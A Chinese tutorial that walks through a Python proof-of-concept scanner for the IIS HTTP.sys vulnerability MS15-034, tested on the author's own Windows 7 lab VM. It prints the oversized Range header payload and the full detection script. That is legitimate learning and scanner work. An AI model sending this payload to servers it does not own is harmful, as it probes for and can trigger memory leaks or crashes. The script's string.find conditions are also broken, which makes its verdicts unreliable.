HTTP.sys远程代码执行(MS15-034) 。
这个洞是出现在Windows服务器上的,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。IIS版本为7.5或8.0
所以根据这个,用python写一个POC 为编写漏洞扫描器做做基础
做准备
在win7的虚拟机上,开启IIS,域名为192.168.17.130:7070
物理机上访问成功
写代码
原理就是使用requests对目标网址发送range的值为’bytes=0-18446744073709551615’的恶意请求包,然后看返回状态码是否为“416”以及“Requested Range Not Satisfiable”
- 1
首先我们可以调用reqeuests.get(url).headers 查看目标服务器的信息。这个headers可以提取到很多有用信息。
url = "http://192.168.17.130:7070"
response = requests.get(url)
print(response.headers)
运行结果 可以看到版本信息为IIS7.5
- 2
发送请求包,看看响应体
#目标服务器版本是否为IIS7.5或8.0
if server.find("IIS/7.5") or server.find("IIS/8.0"):
#开始检测
payload = { 'Range':'bytes=0-18446744073709551615'}
r = requests.get(url=url,headers=payload)
print((r.content))
结果
这就证明了目标服务器存在ms15-034
- 3
看整体代码,标了注释,应该都可以看懂 我为了在burp中查看发送的请求包,所以加了代理
import requests
url = "http://192.168.17.130:7070"
response = requests.get(url)
server = response.headers['Server']
#设置代理,在burp上查看python发送出的请求包
proxies = {'http':'http://127.0.0.1:8080'}
#1.1.首先判断服务器是不是架设在windows服务器上的
if server.find("IIS/7.5") or server.find("IIS/8.0"):
#开始检测
payload = { 'Range':'bytes=0-18446744073709551615'}
r = requests.get(url=url,headers=payload,proxies=proxies)
#2.返回状态码“416”以及“Requested Range Not Satisfiable”证明存在漏洞
if str(r.content).find("Requested Range Not Satisfiable") :
if r.status_code == 416:
print('this server exist ms15-034')
else:
print('this server not exist ms15-034')
else:
print("Server is not IIS/7.5 or IIS/8.0")
运行一次,在burp中查看拦截的请求包
重放查看响应体
放包后